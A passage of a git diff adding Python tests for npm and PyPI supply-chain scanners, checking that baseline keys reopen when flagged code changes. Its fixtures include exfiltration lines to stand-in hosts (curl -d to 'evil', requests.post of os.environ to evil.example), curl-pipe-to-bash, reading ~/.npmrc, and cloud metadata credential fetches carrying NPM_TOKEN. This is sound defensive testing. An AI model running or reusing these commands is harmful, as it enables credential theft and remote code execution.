"Y" * 80 + "'))\n" + of = [ + f for f in snp.scan_text_blob(pkg, "package/index.js", old) if f.pattern == "js-fetch-eval" + ][0] + nf = [ + f for f in snp.scan_text_blob(pkg, "package/index.js", new) if f.pattern == "js-fetch-eval" + ][0] + assert "sha256:" in of.evidence + assert snp._finding_key(of) != snp._finding_key(nf) + + +def test_outbound_host_multiline_options_reopen(): + # A multi-line outbound call binds its option/header lines, so changing the + # headers/body on a continuation line reopens the cred-surface-host key. + pkg = snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + url = "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/role',\n" + old = url + " {headers: {a: 'old'}})\n" + new = url + " {headers: {a: 'evil', token: process.env.NPM_TOKEN}})\n" + of = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", old) + if f.pattern == "cred-surface-host (outbound)" + ][0] + nf = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", new) + if f.pattern == "cred-surface-host (outbound)" + ][0] + assert "sha256:" in of.evidence + assert snp._finding_key(of) != snp._finding_key(nf) + + +def test_outbound_host_config_multiline_object_reopens(): + # A host-config object whose `{` is on a prior line still binds the whole + # object, so changing the path/headers on a following line reopens the key + # rather than riding the unchanged hostname line. + pkg = snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + obj = ( + "const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nhttps.request(opts);\n" + ) + old = obj % "/latest/meta-data/iam/security-credentials/old" + new = obj % "/latest/meta-data/iam/security-credentials/evil" + of = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", old) + if f.pattern == "cred-surface-host (outbound)" + ][0] + nf = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", new) + if f.pattern == "cred-surface-host (outbound)" + ][0] + assert snp._finding_key(of) != snp._finding_key(nf) + + +def _host_config_pkg(): + return snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + + +def _host_finding(text): + return [ + f + for f in snp.scan_text_blob(_host_config_pkg(), "package/index.js", text) + if f.pattern == "cred-surface-host (outbound)" + ][0] + + +def test_outbound_host_config_long_object_binds_tail(): + # A config object longer than the backward window still binds its tail, so a + # changed payload line well below the hostname reopens (not truncated away). + filler = "\n".join(f" opt{i}: {i}," for i in range(30)) + obj = ( + "const opts = {\n hostname: '169.254.169.254',\n" + + filler + + "\n path: '%s',\n};\nrun(opts);\n" + ) + assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key( + _host_finding(obj % "/evil") + ) + + +def test_outbound_host_config_far_opener_binds(): + # The enclosing object's opener can sit well above the hostname line (a large + # options object whose `{` is many properties back). The backward scan must + # still reach it so a payload changed on an earlier property of the same object + # reopens, not just a change on the hostname line itself. + above = "\n".join(f" opt{i}: {i}," for i in range(20)) + obj = ( + "const opts = {\n" + + above + + "\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n" + ) + changed = obj.replace("opt0: 0,", "opt0: 999,") + assert snp._finding_key(_host_finding(obj)) != snp._finding_key(_host_finding(changed)) + + +def test_outbound_host_config_forward_cap_measured_from_match(): + # With the opener near the backward-search limit, the forward group cap must be + # measured from the matched hostname line, not the opener, so the path that + # follows the hostname is still bound and a changed payload there reopens. + above = "\n".join(f" opt{i}: {i}," for i in range(198)) + obj = ( + "const opts = {\n" + + above + + "\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n" + ) + assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key( + _host_finding(obj % "/evil") + ) + + +def test_outbound_host_multiple_contexts_all_bind(): + # The same contextual host can appear in more than one outbound form. Adding a + # separate host-config request beside an already-present URL for that host must + # reopen the key, not ride the unchanged URL evidence. + base = "const u = 'http://169.254.169.254/latest/meta-data/';\nfetch(u);\n" + extra = "https.request({\n hostname: '169.254.169.254',\n path: '/evil',\n});\n" + assert snp._finding_key(_host_finding(base)) != snp._finding_key(_host_finding(base + extra)) + + +def test_outbound_host_config_opener_after_unmatched_closer_binds(): + # A leading unmatched `}` from a preceding block (its opener outside the + # backward window) must not drive depth negative and mask the host-config + # opener that follows; the object should still bind so a changed path reopens. + pre = "callback(arg);\n});\n" # stray closer; the matching opener is out of view + obj = pre + "const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n" + assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key( + _host_finding(obj % "/evil") + ) + + +def test_outbound_host_config_close_then_open_same_line_binds(): + # Stronger than the previous case: the unmatched closer and the host-config + # opener share ONE line, e.g. `}); const opts = {`. A net per-line bracket count + # nets that line to <= 0 and drops the trailing `{`, so the group would start at + # the hostname line and a changed path could ride the unchanged-hostname key. + # Order-aware reduction keeps the opener, so the path binds and a change reopens. + obj = "}); const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n" + assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key( + _host_finding(obj % "/evil") + ) + + +def test_outbound_host_multiline_template_literal_reopens(): + # A ) inside a multi-line backtick template literal must not close the call + # early; the options object after the template binds, so a changed header + # reopens rather than riding the unchanged host (a per-line string blanker + # cannot mask a template literal that spans lines). + old = "request(`http://169.254.169.254/x\n)`, {\n headers: {a: 'old'},\n});\n" + new = "request(`http://169.254.169.254/x\n)`, {\n headers: {a: 'evil'},\n});\n" + assert snp._finding_key(_host_finding(old)) != snp._finding_key(_host_finding(new)) + + +def test_cred_env_lifecycle_binds_whole_body(): + # cred-env-in-lifecycle evidence pins the whole script body, so a changed + # non-token line (echo safe -> curl exfil) reopens even with the token line + # unchanged. + def life(body): + pkg = snp.PackageEntry( + name = "e", + version = "1.0.0", + resolved = "https://registry.npmjs.org/e/-/e-1.0.0.tgz", + integrity = "sha512-x", + lockfile_key = "node_modules/e", + ) + text = json.dumps({"scripts": {"postinstall": body}}) + return [ + f + for f in snp.scan_package_json(pkg, "package/package.json", text) + if "cred-env-in-lifecycle" in f.pattern + ][0] + + safe = life("node -e 'console.log(process.env.NPM_TOKEN)'; echo safe") + evil = life("node -e 'console.log(process.env.NPM_TOKEN)'; curl -d x https://evil") + assert "body-sha256:" in safe.evidence + assert snp._finding_key(safe) != snp._finding_key(evil) + + +def _lifecycle_finding(body, frag): + pkg = snp.PackageEntry( + name = "e", + version = "1.0.0", + resolved = "https://registry.npmjs.org/e/-/e-1.0.0.tgz", + integrity = "sha512-x", + lockfile_key = "node_modules/e", + ) + text = json.dumps({"scripts": {"postinstall": body}}) + return [ + f for f in snp.scan_package_json(pkg, "package/package.json", text) if frag in f.pattern + ][0] + + +def test_lifecycle_fetch_exec_bounds_body_but_reopens(): + # The whole install script is bound by a digest, but the stored evidence is a + # bounded matched snippet plus that digest, not the full body, so writing the + # baseline on a multi-KiB install script stays small while a change to any line + # (even far below the fetch-exec line) reopens the finding. + pad = "# pad\n" * 5000 + old = "curl https://x.sh | bash\n" + pad + "echo done_old" + new = "curl https://x.sh | bash\n" + pad + "echo done_evil" + of = _lifecycle_finding(old, "lifecycle-fetch-exec") + nf = _lifecycle_finding(new, "lifecycle-fetch-exec") + assert "body-sha256:" in of.evidence + assert len(of.evidence) < len(old) # snippet + digest, not the whole body + assert snp._finding_key(of) != snp._finding_key(nf) + + +def test_cred_path_lifecycle_bounds_body_but_reopens(): + # cred-path-in-lifecycle is bounded the same way: a snippet around the matched + # credential path plus the whole-body digest, so a far-line change reopens + # without storing the entire script body in the baseline. + pad = "# pad\n" * 5000 + old = "cat ~/.npmrc\n" + pad + "echo old" + new = "cat ~/.npmrc\n" + pad + "echo evil" + of = _lifecycle_finding(old, "cred-path-in-lifecycle") + nf = _lifecycle_finding(new, "cred-path-in-lifecycle") + assert "body-sha256:" in of.evidence + assert len(of.evidence) < len(old) + assert snp._finding_key(of) != snp._finding_key(nf) + + +def test_outbound_host_regex_literal_does_not_close_group_early(): + # A ) inside a JS regex literal must not close the outbound call early; the + # options object after the regex binds, so a changed header reopens. + old = "request('http://169.254.169.254', /)/, {\n headers: {a: 'old'},\n});\n" + new = old.replace("old", "evil") + assert snp._finding_key(_host_finding(old)) != snp._finding_key(_host_finding(new)) + + +def test_evidence_overflow_binds_context_and_counts_all_matches(): + # Every match past the display cap is still counted in the overflow digest AND + # bound by its logical-line context, so changing the payload on an over-cap line + # reopens (the digest is not just the regex match text, and the iterator is not + # truncated before reaching it). + n = snp._MAX_EVIDENCE_MATCHES + mk = lambda which: "".join( + f"a{i} = process.env.NPM_TOKEN; tag{i} = {'evil' if i == n + 2 and which else 'safe'}\n" + for i in range(n + 5) + ) + e1 = snp._evidence(mk(False), snp._JS_ENV_TOKEN) + e2 = snp._evidence(mk(True), snp._JS_ENV_TOKEN) + assert "more) sha256:" in e1 + assert snp._evidence_hash(e1) != snp._evidence_hash(e2) + + +def test_evidence_caps_match_count_with_digest_remainder(): + # Past _MAX_EVIDENCE_MATCHES the evidence folds the remaining matches into one + # digest so a huge/minified file cannot build an unbounded evidence string, + # while a changed match count past the cap still reopens. + over = snp._MAX_EVIDENCE_MATCHES + 20 + base = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(over)) + ev = snp._evidence(base, snp._JS_ENV_TOKEN) + assert "more) sha256:" in ev + assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHES # bounded, not `over` spans + less = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(over - 1)) + assert snp._evidence_hash(ev) != snp._evidence_hash(snp._evidence(less, snp._JS_ENV_TOKEN)) + + +def test_evidence_streams_overflow_count_is_exact(): + # The overflow matches are streamed from finditer (not collected into a list + # before the cap), so the "(+N more)" count must still equal the exact number of + # matches past the display cap for a large input, and the shown spans stay + # bounded to the cap. + extra = 1000 + total = snp._MAX_EVIDENCE_MATCHES + extra + body = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(total)) + ev = snp._evidence(body, snp._JS_ENV_TOKEN) + import re as _re + + m = _re.search(r"\(\+(\d+) more\)", ev) + assert m and int(m.group(1)) == extra # every over-cap match counted + assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHES # display stays bounded + + +def _ioc_pkg(): + return snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-x", + lockfile_key = "node_modules/evil", + ) + + +def test_known_ioc_evidence_binds_context_not_bare_needle(): + # A known-ioc-string finding keys on the matched-line context, not the bare + # constant, so a changed adjacent fetch/exfil body on the same call reopens + # while the IOC needle stays in place. + ioc = next(iter(snp.KNOWN_IOC_STRINGS)) + old = f"fetch('http://h/'+'{ioc}', {{body: 'OLD'}})\n" + new = f"fetch('http://h/'+'{ioc}', {{body: 'EVIL'}})\n" + + def key(text): + return [ + snp._finding_key(f) + for f in snp.scan_text_blob(_ioc_pkg(), "package/x.js", text) + if f.pattern == "known-ioc-string" + ][0] + + assert key(old) != key(new) + + +def test_always_bad_host_evidence_binds_outbound_context(): + # cred-surface-host (always-bad) binds the outbound call context, so altering + # the exfil body on the same call reopens the key instead of riding the bare + # host literal. + host = snp.CRED_HOST_ALWAYS_BAD[0][0] + old = f"fetch('https://{host}/x', {{body: secretOLD}})\n" + new = f"fetch('https://{host}/x', {{body: secretEVIL}})\n" + + def key(text): + return [ + snp._finding_key(f) + for f in snp.scan_text_blob(_ioc_pkg(), "package/x.js", text) + if f.pattern == "cred-surface-host (always-bad)" + ][0] + + assert key(old) != key(new) + + +def test_outbound_host_config_reindent_is_stable(): + # A formatter-only reindent of the bound continuation lines must NOT change + # the key (whitespace is normalized before the logical-line digest). + tight = "const opts = {\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n" + loose = ( + "const opts = {\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n" + ) + assert snp._finding_key(_host_finding(tight)) == snp._finding_key(_host_finding(loose)) + + +def test_evidence_preserves_intra_string_whitespace(): + # Whitespace OUTSIDE string literals is normalized (reindent-stable), but + # whitespace INSIDE a literal is preserved, so a changed payload body + # (body: 'a b' -> 'a b') reopens the key instead of being erased along with + # indentation. + a = "request('http://169.254.169.254/x', {\n body: 'a b',\n});\n" + b = "request('http://169.254.169.254/x', {\n body: 'a b',\n});\n" + assert snp._finding_key(_host_finding(a)) != snp._finding_key(_host_finding(b)) + + +def test_outbound_cred_surface_binds_context(): + # The outbound cred-surface host finding records the host WITH its URL path / + # fetch call, so changing the outbound path or headers reopens the key rather + # than riding the bare host literal. + pkg = snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + old = "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/old')\n" + new = ( + "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/evil', " + "{headers: steal})\n" + ) + of = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", old) + if f.pattern == "cred-surface-host (outbound)" + ][0] + nf = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", new) + if f.pattern == "cred-surface-host (outbound)" + ][0] + assert snp._finding_key(of) != snp._finding_key(nf) + + +def test_load_baseline_skips_non_dict_entries(tmp_path): + # A malformed current-schema baseline (non-dict entries, or a non-object root) + # must not crash the loader; bad entries are skipped, valid ones still load. + bl = tmp_path / "bad.json" + bl.write_text( + json.dumps( + { + "version": snp._BASELINE_SCHEMA_VERSION, + "entries": ["oops", 123, {"package": "p", "file": "package/a.js", "pattern": "x"}], + } + ), + encoding = "utf-8", + ) + keys = snp._load_baseline(str(bl)) + assert keys == {("p", "a.js", "x", snp._evidence_hash(""))} + # A non-object root is rejected with a warning, not a crash. + arr = tmp_path / "arr.json" + arr.write_text("[1, 2, 3]", encoding = "utf-8") + assert snp._load_baseline(str(arr)) == set() + + def test_legacy_schema_baseline_is_ignored(tmp_path): # A pre-v2 baseline stored basenames; its keys are ambiguous under # package-relative matching, so a populated legacy file is ignored (fail @@ -418,6 +894,67 @@ def test_legacy_schema_baseline_is_ignored(tmp_path): assert snp._load_baseline(str(bl)) == set() +def test_v2_baseline_migrates_by_recomputing_hash(tmp_path): + # v2 shares v3's package-relative keying, so its entries migrate (the hash is + # recomputed from stored evidence) rather than being thrown away, matching the + # Python loader. An unchanged finding stays suppressed. + bl = tmp_path / "v2.json" + evidence = "fetch('http://ok')" + bl.write_text( + json.dumps( + { + "version": 2, + "entries": [ + { + "package": "left-pad", + "file": "package/dist/index.js", + "pattern": "obfuscated-blob", + "severity": snp.HIGH, + "evidence": evidence, + } + ], + } + ), + encoding = "utf-8", + ) + finding = _finding( + "left-pad@9.9.9", "package/dist/index.js", "obfuscated-blob", evidence = evidence + ) + assert snp._finding_key(finding) in snp._load_baseline(str(bl)) + + +def test_outbound_cred_surface_host_config_binds_full_context(): + # The host-config branch captures the whole line (path + headers), so changing + # the outbound headers/body on the same hostname line reopens the key. + pkg = snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + path = "/latest/meta-data/iam/security-credentials/role-name" + old = ( + "const opts = {hostname: '169.254.169.254', " + f"path: '{path}', headers: {{a: 'old'}}}};\nrun(opts);\n" + ) + new = ( + "const opts = {hostname: '169.254.169.254', " + f"path: '{path}', headers: {{a: 'evil', token: process.env.NPM_TOKEN}}}};\nrun(opts);\n" + ) + of = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", old) + if f.pattern == "cred-surface-host (outbound)" + ][0] + nf = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", new) + if f.pattern == "cred-surface-host (outbound)" + ][0] + assert snp._finding_key(of) != snp._finding_key(nf) + + def test_committed_baseline_is_empty_and_valid(): # Shipped baseline must parse and (by design) suppress nothing: the live corpus is clean. path = REPO_ROOT / "scripts" / "scan_npm_packages_baseline.json" diff --git a/tests/security/test_scan_packages.py b/tests/security/test_scan_packages.py index 91331668d6..48e6da5f66 100644 --- a/tests/security/test_scan_packages.py +++ b/tests/security/test_scan_packages.py @@ -322,20 +322,781 @@ def test_proc_self_status_pattern_is_live(): assert not sp.RE_ANTI_ANALYSIS.search("if platform.system() == 'Linux': pass") -def _mk(sev, pkg, fname, check): - return sp.Finding(sev, pkg, fname, check, "evidence") +def _mk( + sev, + pkg, + fname, + check, + evidence = "evidence", +): + return sp.Finding(sev, pkg, fname, check, evidence) def test_baseline_key_version_stable_but_path_specific(): a = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/sessions.py", "X") b = _mk(sp.CRITICAL, "Requests", "requests-3.0.0/requests/sessions.py", "X") - # Same package-relative path across versions -> same key (stable). + # Same package-relative path + same matched code across versions -> same key. assert sp._finding_key(a) == sp._finding_key(b) # Same basename in a different path -> different key (no over-suppression). c = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/vendor/sessions.py", "X") assert sp._finding_key(a) != sp._finding_key(c) +def test_baseline_key_line_shift_stable_but_code_specific(): + # The evidence hash strips ``L:`` markers, so a benign upstream edit that + # only shifts line numbers keeps the key stable... + base = _mk( + sp.CRITICAL, + "botocore", + "botocore/utils.py", + "Harvests environment variables/secrets AND makes network calls", + "Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies", + ) + shifted = _mk( + sp.CRITICAL, + "botocore", + "botocore/utils.py", + "Harvests environment variables/secrets AND makes network calls", + "Env: L612: env = os.environ.copy()\nNetwork: L48: from urllib.request import getproxies", + ) + assert sp._finding_key(base) == sp._finding_key(shifted) + # ...but a NEW payload in the same file/check (different matched code) does + # not inherit the suppression -- this is the supply-chain bypass we close. + malicious = _mk( + sp.CRITICAL, + "botocore", + "botocore/utils.py", + "Harvests environment variables/secrets AND makes network calls", + "Env: L417: env = os.environ.copy()\nNetwork: requests.post('https://evil.example/exfil', data=env)", + ) + assert sp._finding_key(base) != sp._finding_key(malicious) + + +def test_extract_evidence_records_all_matches(): + # The whole point of P1: a match appended after the first few must show up + # in the evidence, so it changes the key instead of riding the earlier ones. + src = "import requests\n" + "\n".join(f"requests.get('http://a{i}')" for i in range(6)) + ev = sp._extract_evidence(src, sp.RE_NETWORK) + assert ev.count("requests.get(") == 6 + + +def test_baseline_key_reopens_on_appended_match(): + # A reviewed file already trips a check with several matches; a later exfil + # call appended to the same file/check must reopen the finding. + base_src = "import requests\n" + "\n".join(f"requests.get('http://a{i}')" for i in range(3)) + payload_src = base_src + "\nrequests.post('https://evil.example/exfil', data=os.environ)" + base = _mk(sp.CRITICAL, "p", "p/net.py", "net", sp._extract_evidence(base_src, sp.RE_NETWORK)) + payload = _mk( + sp.CRITICAL, "p", "p/net.py", "net", sp._extract_evidence(payload_src, sp.RE_NETWORK) + ) + assert sp._finding_key(base) != sp._finding_key(payload) + + +def test_baseline_key_inner_line_marker_is_not_stripped(): + # Only the leading L: marker is dropped; an L: inside the matched + # code is part of the code, so changing it must reopen the finding... + a = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L10: url = 'http://h/L42:/p'") + b = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L10: url = 'http://h/L7:/p'") + assert sp._finding_key(a) != sp._finding_key(b) + # ...while only the leading marker (line number) changing stays stable. + c = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L55: url = 'http://h/L42:/p'") + assert sp._finding_key(a) == sp._finding_key(c) + + +def test_baseline_key_indentation_is_significant(): + # Moving a flagged line out of a guarded block (dedent) changes executable + # context, so the same code at a different indent must reopen the finding. + guarded = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: requests.get(url)") + top_level = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: requests.get(url)") + assert sp._finding_key(guarded) != sp._finding_key(top_level) + + +def test_canon_evidence_keeps_bitwise_or_in_a_span(): + # ' | ' only delimits spans when it precedes an L: marker; a pipe inside + # matched code (bitwise OR, typing.Union) is code, so changing an operand + # must reopen the finding instead of deduping to the same key. + a = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: mode = os.O_RDONLY | os.O_CLOEXEC") + b = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: mode = os.O_RDONLY | os.O_EVIL") + assert sp._finding_key(a) != sp._finding_key(b) + # The OR survives canonicalization as one span (not split on the pipe). + assert sp._canon_evidence("L5: a = X | Y") == "a = X | Y" + + +def test_extract_evidence_caps_long_line_but_binds_tail(): + # A long (e.g. minified) line is not dumped verbatim: the display is bounded to + # a prefix, but a sha256 of the full line is appended so a payload past the cut + # still changes the key instead of being silently clipped. + marker = "EXFIL_PAST_CAP" + pad = "# " + " " * 300 + line = "requests.get('http://a') " + pad + marker + ev = sp._extract_evidence(line + "\n", sp.RE_NETWORK) + assert marker not in ev # tail past the cap is not shown verbatim + assert "sha256:" in ev # but it is pinned by a digest + assert len(ev) < len(line) # bounded, not the whole minified line + base = sp._extract_evidence("requests.get('http://a') " + pad + "x\n", sp.RE_NETWORK) + assert sp._evidence_hash(ev) != sp._evidence_hash(base) + + +def test_extract_evidence_binds_call_continuation_past_12_lines(): + # A matched call that stays open well beyond the old 12-line continuation cap + # still binds its later arguments: a changed body on a deep continuation line + # (here ~22 lines in) must reopen instead of riding the first 12 lines. + head = "requests.post('http://h',\n" + middle = "".join(f" opt{i} = ({i}),\n" for i in range(20)) + old = head + middle + " data = {'x': 'old'},\n)\n" + new = head + middle + " data = {'x': 'evil'},\n)\n" + eo = sp._extract_evidence(old, sp.RE_NETWORK) + en = sp._extract_evidence(new, sp.RE_NETWORK) + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_logical_line_end_follows_backslash_continuation(): + # A call split with an explicit backslash before the parenthesis must still + # bind the continuation line, so changing the URL on the next physical line + # reopens instead of returning at the zero-depth API line. + old = "requests.post \\\n ('http://old/x', data = 1)\n" + new = "requests.post \\\n ('http://evil/x', data = 1)\n" + eo = sp._extract_evidence(old, sp.RE_NETWORK) + en = sp._extract_evidence(new, sp.RE_NETWORK) + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_logical_line_end_blanks_multiline_triple_string(): + # A ) inside a triple-quoted string argument must not close the call early; the + # data= after the closing triple-quote must still bind so a changed payload + # reopens (a per-line string blanker cannot mask a multi-line string). + old = 'requests.post("""http://h\n/path)""", data={"x": "old"})\n' + new = 'requests.post("""http://h\n/path)""", data={"x": "evil"})\n' + eo = sp._extract_evidence(old, sp.RE_NETWORK) + en = sp._extract_evidence(new, sp.RE_NETWORK) + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_extract_evidence_binds_call_embedded_in_string(): + # A call whose text lives INSIDE a triple-quoted string (a dropper embedding a + # setup.py payload) must still bind its argument lines. Blanking the multi-line + # string must not shrink the span below the legacy single-line view: the union + # of both views keeps the URL argument bound so a changed payload reopens. + src = ( + 'PAYLOAD = """\n' + "urllib.request.urlretrieve(\n" + ' "http://evil/old.pyz",\n' + ' "/tmp/x.pyz",\n' + ")\n" + '"""\n' + ) + eo = sp._extract_evidence(src, sp.RE_NETWORK) + en = sp._extract_evidence(src.replace("old.pyz", "evil2.pyz"), sp.RE_NETWORK) + assert "L3" in eo # the URL argument line is bound, not just the API line + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_extract_evidence_overflow_digest_is_line_shift_stable(): + # The overflow digest canonicalizes (strips L: markers), so inserting an + # unrelated line above the overflow region does not change it (line-shift + # stability), while a real payload change inside the overflow still reopens. + n = sp._MAX_EVIDENCE_SPANS + src = "\n".join(f"requests.get('http://a/p{i}')" for i in range(n + 5)) + sha = lambda e: re.search(r"more\) sha256:([0-9a-f]+)", e).group(1) + e_a = sp._extract_evidence(src, sp.RE_NETWORK) + assert "more) sha256:" in e_a + e_shift = sp._extract_evidence("# unrelated\n" + src, sp.RE_NETWORK) + assert sha(e_a) == sha(e_shift) # a pure line shift does not change the digest + e_chg = sp._extract_evidence(src.replace(f"a/p{n + 3}'", "a/pEVIL'"), sp.RE_NETWORK) + assert sha(e_a) != sha(e_chg) # a real change in the overflow region reopens + + +def test_extract_evidence_overflow_is_streamed_and_bounded(): + # Past the display cap the evidence streams overflow spans into one digest + # instead of materializing a rendered span per match, so a file with far more + # matches than the cap yields a bounded string (at most cap spans plus the + # "(+N more)" digest line) while N counts every overflow match and a change to + # an over-cap match still reopens. + n = sp._MAX_EVIDENCE_SPANS + src = "\n".join(f"requests.get('http://a/p{i}')" for i in range(n + 500)) + ev = sp._extract_evidence(src, sp.RE_NETWORK) + assert ev.count(" sha256:") == 1 # only the overflow digest, no per-span digests + assert "(+500 more)" in ev # every match past the cap is counted + # bounded: exactly cap rendered spans plus the single "(+N more)" marker + assert len(ev.split(" | ")) == n + 1 + sha = lambda e: re.search(r"more\) sha256:([0-9a-f]+)", e).group(1) + chg = sp._extract_evidence(src.replace(f"a/p{n + 200}'", "a/pEVIL'"), sp.RE_NETWORK) + assert sha(ev) != sha(chg) # an over-cap payload change reopens + + +def test_extract_evidence_same_line_close_then_open_binds_call(): + # A continued statement that closes on the same physical line that opens a + # flagged call, e.g. `]; requests.post(`, nets to <= 0 under a plain bracket + # count, dropping the call's `(` so the scan would stop at the opener line. + # Order-aware counting keeps the opener, so the argument lines bind and a + # changed body on a continuation line reopens. + old = "x = [a]; requests.post(\n 'http://h/old',\n data=secret,\n)\n" + new = "x = [a]; requests.post(\n 'http://h/old',\n data=EVIL,\n)\n" + assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash( + sp._extract_evidence(new, sp.RE_NETWORK) + ) + + +def test_extract_evidence_backslash_continued_string_binds_tail(): + # A single-quoted string can continue across lines with a trailing backslash. + # The `)` inside that continued string on the next line must not be counted as + # code and close the call early, or a changed argument after it would not + # reopen. The blanker tracks the continuation so the whole call binds. + old = "requests.post('http://h\\\n/path)', data='old')\n" + new = "requests.post('http://h\\\n/path)', data='EVIL')\n" + assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash( + sp._extract_evidence(new, sp.RE_NETWORK) + ) + + +def test_extract_evidence_long_call_tail_past_soft_cap_reopens(): + # A call with more argument lines than the soft cap (_MAX_CALL_LINES) is still + # followed to its real close under the hard limit, so a changed payload on a + # continuation line well past the soft cap reopens instead of riding the first + # _MAX_CALL_LINES lines. A bracket that never closes stays bound to the soft cap. + mid = "\n".join(f" opt{i}=1," for i in range(sp._MAX_CALL_LINES + 20)) + old = "requests.post(\n" + mid + "\n data='old',\n)\n" + new = "requests.post(\n" + mid + "\n data='EVIL',\n)\n" + assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash( + sp._extract_evidence(new, sp.RE_NETWORK) + ) + + +def test_extract_evidence_fallback_line_numbers_are_correct(): + # The DOTALL fallback maps match offsets to line numbers via precomputed + # newline offsets (bisect, not a quadratic content.count per match); guard that + # the mapping is exact so a cross-line match is recorded at its true line and a + # changed continuation reopens. + content = "x = 1\ny = 2\nwhile True:\n time.sleep(60)\n requests.get('http://a/old')\n" + e1 = sp._extract_evidence(content, sp.RE_C2_POLLING) + e2 = sp._extract_evidence(content.replace("/old", "/evil"), sp.RE_C2_POLLING) + assert "L3" in e1 # the while-True loop starts on line 3, not line 1 + assert sp._evidence_hash(e1) != sp._evidence_hash(e2) + + +def test_large_js_bundle_pins_whole_content_when_other_finding_fires(): + # A >100 KB JS bundle that also trips the hex-var obfuscation signature binds + # the whole bundle, so changing payload code elsewhere (obfuscation line + # unchanged) reopens rather than riding the matched signature line. + obf = "var _0xabcd = function(){};\n" + pad = "// filler\n" * 11000 # push the file over the 100 KB large-bundle bar + fo = sp.check_js_file(obf + pad + "var payload = 'old';\n", "pkg/bundle.js", "pkg") + fn = sp.check_js_file(obf + pad + "var payload = 'evil';\n", "pkg/bundle.js", "pkg") + co = [f for f in fo if "hex-var obfuscation" in f.check][0] + cn = [f for f in fn if "hex-var obfuscation" in f.check][0] + assert "bundle-sha256:" in co.evidence + assert sp._evidence_hash(co.evidence) != sp._evidence_hash(cn.evidence) + + +def test_pth_catch_all_import_evidence_is_bounded_but_reopens(): + # A large .pth made only of benign-looking imports is bounded in the evidence + # (prefix plus digest), not dumped in full, yet still reopens when an import + # line changes because the digest covers every line. + base = "".join(f"import mod{i}\n" for i in range(200)) + fo = [ + f + for f in sp.check_pth_file(base + "import secret_old\n", "p/x.pth", "p") + if "executable import line" in f.check + ] + fn = [ + f + for f in sp.check_pth_file(base + "import secret_evil\n", "p/x.pth", "p") + if "executable import line" in f.check + ] + assert fo and fn + assert "sha256:" in fo[0].evidence and len(fo[0].evidence) < len(base) + assert sp._evidence_hash(fo[0].evidence) != sp._evidence_hash(fn[0].evidence) + + +def test_extract_evidence_records_all_multiline_matches(): + # The DOTALL fallback must record every distinct cross-line match, so a second + # long-sleep appended below an already-flagged one reopens the finding. + one = "foo = time.sleep(\n 600\n)\n" + two = one + "bar = time.sleep(\n 900\n)\n" + ev1 = sp._extract_evidence(one, sp.RE_ANTI_ANALYSIS) + ev2 = sp._extract_evidence(two, sp.RE_ANTI_ANALYSIS) + assert ev2.count("time.sleep(") == 2 # both matches, not just the first + assert sp._evidence_hash(ev1) != sp._evidence_hash(ev2) + + +def test_multiline_evidence_reopens_on_continuation_change(): + # A DOTALL match records every line it spans, so changing the URL inside an + # already-flagged C2 loop (a continuation line) reopens 